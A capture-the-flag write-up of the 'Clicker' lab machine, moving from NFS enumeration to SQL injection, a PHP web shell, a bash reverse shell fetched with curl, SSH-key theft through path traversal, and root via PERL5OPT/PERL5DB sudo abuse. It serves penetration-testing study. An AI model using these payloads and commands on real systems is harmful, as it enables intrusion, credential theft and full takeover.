Enumeration#
We can get started with a port scan:
╰─ nmap -sC -sV 10.129.170.10
Starting Nmap 7.94 ( https://nmap.org ) at 2023-09-24 20:26 EDT
Nmap scan report for 10.129.170.10
Host is up (0.030s latency).
Not shown: 996 closed tcp ports (conn-refused)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 89:d7:39:34:58:a0:ea:a1:db:c1:3d:14:ec:5d:5a:92 (ECDSA)
|_ 256 b4:da:8d:af:65:9c:bb:f0:71:d5:13:50:ed:d8:11:30 (ED25519)
80/tcp open http Apache httpd 2.4.52 ((Ubuntu))
|_http-server-header: Apache/2.4.52 (Ubuntu)
|_http-title: Did not follow redirect to http://clicker.htb/
111/tcp open rpcbind 2-4 (RPC #100000)
| rpcinfo:
| program version port/proto service
| 100000 2,3,4 111/tcp rpcbind
| 100000 2,3,4 111/udp rpcbind
| 100000 3,4 111/tcp6 rpcbind
| 100000 3,4 111/udp6 rpcbind
| 100003 3,4 2049/tcp nfs
| 100003 3,4 2049/tcp6 nfs
| 100005 1,2,3 35824/udp6 mountd
| 100005 1,2,3 36206/udp mountd
| 100005 1,2,3 47079/tcp6 mountd
| 100005 1,2,3 60817/tcp mountd
| 100021 1,3,4 33203/tcp6 nlockmgr
| 100021 1,3,4 34675/tcp nlockmgr
| 100021 1,3,4 40913/udp nlockmgr
| 100021 1,3,4 41027/udp6 nlockmgr
| 100024 1 36681/tcp status
| 100024 1 37859/tcp6 status
| 100024 1 40128/udp status
| 100024 1 54239/udp6 status
| 100227 3 2049/tcp nfs_acl
|_ 100227 3 2049/tcp6 nfs_acl
2049/tcp open nfs_acl 3 (RPC #100227)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 8.19 seconds
We see SSH, an HTTP server, something that appears to me Portmapper, and some kind of file share on port 2049.
Let’s start by adding clicker.htb to our hosts file and looking at the site:

We can register an account and play the game it has for us, it is a simple cookie-clicker type game:

I am not too sure what to do here and figure it might be smart to go enumerate the file shares from earlier.
Thankfully Hacktricks has a good guide on pentesting port 2049 and we can try to see if we are allowed to mount any folders from the share:
╰─ showmount -e clicker.htb
Export list for clicker.htb:
/mnt/backups *
It looks like we can mount the files in the /mnt/backups directory, so elet’s give it a try and see what is there:
╰─ sudo mount -t nfs 10.129.170.10:/mnt/backups backup-nfs -o nolock
╰─ ls -lah backup-nfs
total 2.2M
drwxr-xr-x 2 nobody nogroup 4.0K Sep 5 15:19 .
drwxr-xr-x 3 kali kali 4.0K Sep 24 21:06 ..
-rw-r--r-- 1 root root 2.2M Sep 1 16:27 clicker.htb_backup.zip
The share has a zip file, so we can move it out of the folder we mounted and unzip it:
╰─ ls -lh
total 64K
-rw-r--r-- 1 kali kali 3.9K Sep 1 16:18 admin.php
drwxr-xr-x 4 kali kali 4.0K Feb 28 2023 assets
-rw-r--r-- 1 kali kali 608 Sep 1 16:17 authenticate.php
-rw-r--r-- 1 kali kali 541 Sep 1 16:17 create_player.php
-rw-r--r-- 1 kali kali 2.5K Sep 1 16:18 db_utils.php
-rw-r--r-- 1 kali kali 1.4K Sep 1 16:18 diagnostic.php
-rw-r--r-- 1 kali kali 2.0K Sep 1 16:18 export.php
drwxr-xr-x 2 kali kali 4.0K Sep 1 16:18 exports
-rw-r--r-- 1 kali kali 3.8K Sep 1 16:18 index.php
-rw-r--r-- 1 kali kali 3.4K Sep 1 16:18 info.php
-rw-r--r-- 1 kali kali 3.3K Sep 1 16:18 login.php
-rw-r--r-- 1 kali kali 74 Sep 1 16:17 logout.php
-rw-r--r-- 1 kali kali 3.3K Sep 1 16:17 play.php
-rw-r--r-- 1 kali kali 3.0K Sep 1 16:17 profile.php
-rw-r--r-- 1 kali kali 3.3K Sep 1 16:18 register.php
-rw-r--r-- 1 kali kali 563 Sep 1 16:18 save_game.php
The exports directory is empty and assets contains information we would expect like images and animations.
Reversing the Authentication#
The login.php file is uninteresting but points us over to authenticate.php, which references roles and nicknames that we hadn’t seen before when making an account.
If we look into admin.php we see use of this role variable and see it assigned to a session:
<?php
session_start();
include_once("db_utils.php");
if ($_SESSION["ROLE"] != "Admin") {
header('Location: /index.php');
die;
}
?>
---SNIP---
We also see references to an administration portal in this file and even more about a leaderboard of sorts that calls out to the export.php file. It seems like this leaderboard can be exported at some point.
There is another file called diagnostic.php that seems to have an additional check that will determine if we can access certain resources:
---SNIP---
if (isset($_GET["token"])) {
if (strcmp(md5($_GET["token"]), "ac0e5a6a3a50b5639e69ae6d8cd49f40") != 0) {
header("HTTP/1.1 401 Unauthorized");
exit;
}
}
---SNIP---
Looking further into save_game.php we see the following:
<?php
session_start();
include_once("db_utils.php");
if (isset($_SESSION['PLAYER']) && $_SESSION['PLAYER'] != "") {
$args = [];
foreach($_GET as $key=>$value) {
if (strtolower($key) === 'role') {
// prevent malicious users to modify role
header('Location: /index.php?err=Malicious activity detected!');
die;
}
$args[$key] = $value;
}
save_profile($_SESSION['PLAYER'], $_GET);
// update session info
$_SESSION['CLICKS'] = $_GET['clicks'];
$_SESSION['LEVEL'] = $_GET['level'];
header('Location: /index.php?msg=Game has been saved!');
}
?>
Among other things , this checks if any of the other parameters have the $key value role, and flags it as malicious activity.
If this is not triggered, the save_profile function from db_utils.php is called:
---SNIP---
function save_profile($player, $args) {
global $pdo;
$params = ["player"=>$player];
$setStr = "";
foreach ($args as $key => $value) {
$setStr .= $key . "=" . $pdo->quote($value) . ",";
}
$setStr = rtrim($setStr, ",");
$stmt = $pdo->prepare("UPDATE players SET $setStr WHERE username = :player");
$stmt -> execute($params);
}
---SNIP---
This function defines how a user’s information gets changed by making an UPDATE query for an SQL database.
Let’s see what our request looks like when we save our game:

Here is the thing, the php code will take the arguments clicks and level and reply accordingly if they were saved correctly:

But, if we even include a reference to role, we will get flagged:

Following the redirect…

The issue is that the input passed into save_game.php, where the only sanitization or transformation is transforming our input with strtolower() to check if we are trying to change the role.
If we URL-encode our role, we might not have any issues:

Following the redirect…

Sweet, now we can see if we can inject data into the query. The SQL query from db_utils.php looks like this:
UPDATE players SET $setStr WHERE username = :player
Because we can pass through role if we URL encode the text, we might be able to change our role to Admin like this:
UPDATE players SET role="Admin"# WHERE username = :player
The # character is the comment character in MySQL, and we know this is a MySQL database because of the details at the beginning of db_utils.php.
So, let’s URL encode this and try to pass it through:

Following the redirect…

Once we forward these requests, we can log out and log back in to observe that we upgraded our role to administrator:

Remote Code Execution via Export Functionality#
Now that we have access to the admin page, let’s look further into the functionality of export.php, which is restricted to users with the admin role:
<?php
session_start();
include_once("db_utils.php");
if ($_SESSION["ROLE"] != "Admin") {
header('Location: /index.php');
die;
}
function random_string($length) {
$key = '';
$keys = array_merge(range(0, 9), range('a', 'z'));
for ($i = 0; $i < $length; $i++) {
$key .= $keys[array_rand($keys)];
}
return $key;
}
$threshold = 1000000;
if (isset($_POST["threshold"]) && is_numeric($_POST["threshold"])) {
$threshold = $_POST["threshold"];
}
$data = get_top_players($threshold);
$currentplayer = get_current_player($_SESSION["PLAYER"]);
$s = "";
if ($_POST["extension"] == "txt") {
$s .= "Nickname: ". $currentplayer["nickname"] . " Clicks: " . $currentplayer["clicks"] . " Level: " . $currentplayer["level"] . "\n";
foreach ($data as $player) {
$s .= "Nickname: ". $player["nickname"] . " Clicks: " . $player["clicks"] . " Level: " . $player["level"] . "\n";
}
} elseif ($_POST["extension"] == "json") {
$s .= json_encode($currentplayer);
$s .= json_encode($data);
} else {
$s .= '<table>';
$s .= '<thead>';
$s .= ' <tr>';
$s .= ' <th scope="col">Nickname</th>';
$s .= ' <th scope="col">Clicks</th>';
$s .= ' <th scope="col">Level</th>';
$s .= ' </tr>';
$s .= '</thead>';
$s .= '<tbody>';
$s .= ' <tr>';
$s .= ' <th scope="row">' . $currentplayer["nickname"] . '</th>';
$s .= ' <td>' . $currentplayer["clicks"] . '</td>';
$s .= ' <td>' . $currentplayer["level"] . '</td>';
$s .= ' </tr>';
foreach ($data as $player) {
$s .= ' <tr>';
$s .= ' <th scope="row">' . $player["nickname"] . '</th>';
$s .= ' <td>' . $player["clicks"] . '</td>';
$s .= ' <td>' . $player["level"] . '</td>';
$s .= ' </tr>';
}
$s .= '</tbody>';
$s .= '</table>';
}
$filename = "exports/top_players_" . random_string(8) . "." . $_POST["extension"];
file_put_contents($filename, $s);
header('Location: /admin.php?msg=Data has been saved in ' . $filename);
?>
This page allows administrators to export the list of player data in different formats. The issue lies with some of the quirks present here:
- The
extensioninput is not sanitized and can be changed by the user - The export is saved to a location that we can view and will render the nickname of the user on the leaderboard.
So, we can modify our nickname to include a PHP command execution payload then make a POST request to the export.php endpoint to clarify the use of a php extension.
Let’s first change our nickname to include our PHP command injection payload:
%22%3c%3f%70%68%70%20%73%79%73%74%65%6d%28%24%5f%52%45%51%55%45%53%54%5b%27%63%6d%64%27%5d%29%3b%20%3f%3e%22%23
URL Decoded:
<?php system($_GET['cmd']) ?>
Let’s change our nickname:

Following the redirect…

Now, we can send a POST request to export this content with the php extension:

Then, we can navigate to the path it gives us and execute commands:

Then we can make a shell.sh file that we can serve to the target machine with an HTTP server.
Here is our shell.sh file:
#!/bin/bash
bash -i >& /dev/tcp/10.10.14.187/1337 0>&1
We start our python HTTP server in the same directory and open a listener on our specified port:
╰─ python3 -m http.server 8000
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
╰─ nc -lvp 1337
listening on [any] 1337 ...
Then, we send this payload via the URL on the web application:
http://clicker.htb/exports/top_players_ilocdngs.php?cmd=curl%20http://10.10.14.187:8000/shell.sh%20|%20bash
Then, we see that the web server grabs our shell and executes it:
╰─ python3 -m http.server 8000
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
10.129.170.10 - - [24/Sep/2023 23:27:27] "GET /shell.sh HTTP/1.1" 200 -
╰─ nc -lvp 1337
listening on [any] 1337 ...
connect to [10.10.14.187] from clicker.htb [10.129.170.10] 43784
bash: cannot set terminal process group (1211): Inappropriate ioctl for device
bash: no job control in this shell
www-data@clicker:/var/www/clicker.htb/exports$
Now let’s try to get our user flag.
Getting a User - Reversing a Binary#
We can find a user called jack in the /home directory. We can look for files he owns like this:
www-data@clicker:/home$ find / -user jack 2> /dev/null
/home/jack
/var/crash/_opt_manage_execute_query.1000.crash
/opt/manage
/opt/manage/README.txt
/opt/manage/execute_query
We see some files in /opt/manage, so we can move over there and take a closer look:
www-data@clicker:/opt/manage$ ls -lh
total 20K
-rw-rw-r-- 1 jack jack 256 Jul 21 22:29 README.txt
-rwsrwsr-x 1 jack jack 16K Feb 26 2023 execute_query
Let’s download these and examine them. We can tell how the binary needs to be used from the README.txt file:
╰─ cat README.txt
Web application Management
Use the binary to execute the following task:
- 1: Creates the database structure and adds user admin
- 2: Creates fake players (better not tell anyone)
- 3: Resets the admin password
- 4: Deletes all users except the admin
You can throw the binary into a decompiler like ghidra or IDA, I opted to use dogbolt in my browser and take a look:
---SNIP---
}
int __fastcall main(int argc, const char **argv, const char **envp)
{
int result; // eax
size_t v4; // rbx
size_t v5; // rax
size_t v6; // rbx
size_t v7; // rax
int v8; // [rsp+10h] [rbp-B0h]
char *dest; // [rsp+18h] [rbp-A8h]
char *name; // [rsp+20h] [rbp-A0h]
char *command; // [rsp+28h] [rbp-98h]
char s[32]; // [rsp+30h] [rbp-90h] BYREF
char src[88]; // [rsp+50h] [rbp-70h] BYREF
unsigned __int64 v14; // [rsp+A8h] [rbp-18h]
v14 = __readfsqword(0x28u);
if ( argc > 1 )
{
v8 = atoi(argv[1]);
dest = (char *)calloc(0x14uLL, 1uLL);
switch ( v8 )
{
case 0:
puts("ERROR: Invalid arguments");
return 2;
case 1:
strncpy(dest, "create.sql", 0x14uLL);
goto LABEL_10;
case 2:
strncpy(dest, "populate.sql", 0x14uLL);
goto LABEL_10;
case 3:
strncpy(dest, "reset_password.sql", 0x14uLL);
goto LABEL_10;
case 4:
strncpy(dest, "clean.sql", 0x14uLL);
goto LABEL_10;
default:
strncpy(dest, argv[2], 0x14uLL);
LABEL_10:
strcpy(s, "/home/jack/queries/");
v4 = strlen(s);
v5 = strlen(dest);
name = (char *)calloc(v4 + v5 + 1, 1uLL);
strcat(name, s);
strcat(name, dest);
setreuid(0x3E8u, 0x3E8u);
if ( access(name, 4) )
{
puts("File not readable or not found");
}
else
{
strcpy(src, "/usr/bin/mysql -u clicker_db_user --password='clicker_db_password' clicker -v < ");
v6 = strlen(src);
v7 = strlen(dest);
command = (char *)calloc(v6 + v7 + 1, 1uLL);
strcat(command, src);
strcat(command, name);
system(command);
}
result = 0;
break;
}
}
---SNIP---
It looks like there are switch cases to use each of the arguments, and a few more lines that indicate that file contents are being read out. We can go ahead and run it on our system and see what happens:
╰─ ./execute_query 1
File not readable or not found
So, we know it is looking for some kind of file to read info from when “creating the database structure” so let’s look and see if there are any file paths in the binary itself:
╰─ strings execute_query
---SNIP---
/home/jaH
ck/queriH
/usr/binH
/mysql -H
u clickeH
r_db_useH
r --passH
word='clH
icker_dbH
_passworH
d' clickH
er -v < H
---SNIP---
After cleaning up this text we see:
/home/jack/queries
/usr/bin/mysql -u clicker_db_user --password='clicker_db_password' clicker -v <
It looks like the fifth case of the main function will just take an argument for the file path. Let’s try it out on the target machine:
www-data@clicker:/opt/manage$ ./execute_query 5 ../
mysql: [Warning] Using a password on the command line interface can be insecure.
ERROR: Can't initialize batch_readline - may be the input source is a directory or a block device.
Interesting, it looks like it tried to read the file contents but failed because we didn’t specify a file. Let’s see if it can read something like an SSH key from the jack user’s home folder.
Keep in mind that it should be reading queries in /home/jack/queries, so we need to navigate from there like this:
www-data@clicker:/opt/manage$ ./execute_query 5 ../.ssh/id_rsa
mysql: [Warning] Using a password on the command line interface can be insecure.
-----BEGIN OPENSSH PRIVATE KEY---
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABlwAAAAdzc2g
---SNIP---
Nice, let’s clean up the private key and log in as jack on the target machine:
╰─ ssh -i id_rsa jack@clicker.htb
Welcome to Ubuntu 22.04.3 LTS (GNU/Linux 5.15.0-84-generic x86_64)
---SNIP---
jack@clicker:~$ ls
queries user.txt
Privilege Escalation#
Let’s see what we can do with sudo now that we are here:
jack@clicker:~$ sudo -l
Matching Defaults entries for jack on clicker:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin,
use_pty
User jack may run the following commands on clicker:
(ALL : ALL) ALL
(root) SETENV: NOPASSWD: /opt/monitor.sh
Let’s check out monitor.sh:
#!/bin/bash
if [ "$EUID" -ne 0 ]
then echo "Error, please run as root"
exit
fi
set PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games:/snap/bin
unset PERL5LIB;
unset PERLLIB;
data=$(/usr/bin/curl -s http://clicker.htb/diagnostic.php?token=secret_diagnostic_token);
/usr/bin/xml_pp <<< $data;
if [[ $NOSAVE == "true" ]]; then
exit;
else
timestamp=$(/usr/bin/date +%s)
/usr/bin/echo $data > /root/diagnostic_files/diagnostic_${timestamp}.xml
fi
It looks like all the file paths are explicit, so we won’t be able to hijack anything here which is unfortunate. But we so see PERL5LIB and PERLLIB getting unset which is strange.
After googling around for some information on environment variables and local privilege escalation with PERLLIB, I found a really useful gitbook.
It describes how the PERL5DB command can be used to load debugger code, but it is only used when Perl is started with a bare -d switch. We can load the debugger module by using PERL5OPT=-d.
We can use these two techniques together to execute commands like this:
PERL5OPT=-d PERL5DB='system("ls -la");' perl /dev/null
Let’s just try this with /opt/monitor.sh:
jack@clicker:~$ sudo PERL5OPT=-d PERL5DB='system("whoami");' /opt/monitor.sh
root
No DB::DB routine defined at /usr/bin/xml_pp line 9.
No DB::DB routine defined at /usr/lib/x86_64-linux-gnu/perl-base/File/Temp.pm line 870.
END failed--call queue aborted.
Looks like it worked, let’s make bash a SUID program and switch over to root:
jack@clicker:~$ sudo PERL5OPT=-d PERL5DB='system("chmod u+s /bin/bash");' /opt/monitor.sh
No DB::DB routine defined at /usr/bin/xml_pp line 9.
No DB::DB routine defined at /usr/lib/x86_64-linux-gnu/perl-base/File/Temp.pm line 870.
END failed--call queue aborted.
jack@clicker:~$ ls -lh /bin/bash
-rwsr-xr-x 1 root root 1.4M Jan 6 2022 /bin/bash
jack@clicker:~$ /bin/bash -p
bash-5.1#